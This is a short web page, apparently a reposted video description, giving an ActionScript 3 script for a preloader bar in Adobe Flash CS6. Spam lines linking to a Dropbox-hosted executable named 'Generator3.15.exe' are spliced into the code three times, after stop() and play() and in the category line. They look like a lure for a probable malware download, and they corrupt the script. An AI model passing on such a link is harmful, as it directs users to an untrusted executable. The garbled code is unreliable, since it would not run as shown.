How to create a PreLoader bar in Adobe flash CS6 download :

Below is the script for the preloader-

stop(); download :  https://www.dropbox.com/s/u5pflcl0pqixazh/Generator3.15.exe

this.addEventListener(Event.ENTER_FRAME, loading);

function loading(e:Event):void{

var total:Number = this.stage.loaderInfo.bytesTotal;
var loaded:Number = this.stage.loaderInfo.bytesLoaded;

loading_bar.scaleX = loaded/total;
loading_txt.text = Math.floor((loaded/total)*100)+ “%”;

if (total == loaded){
play(); download :  https://www.dropbox.com/s/u5pflcl0pqixazh/Generator3.15.exe

this.removeEventListener(Event.ENTER_FRA­ME, loading);
}

}

***Add the following stop () in the last frame of your movie or file.

Category download :  https://www.dropbox.com/s/u5pflcl0pqixazh/Generator3.15.exe

Education
License

Standard YouTube License

Leave a Reply

Your email address will not be published. Required fields are marked *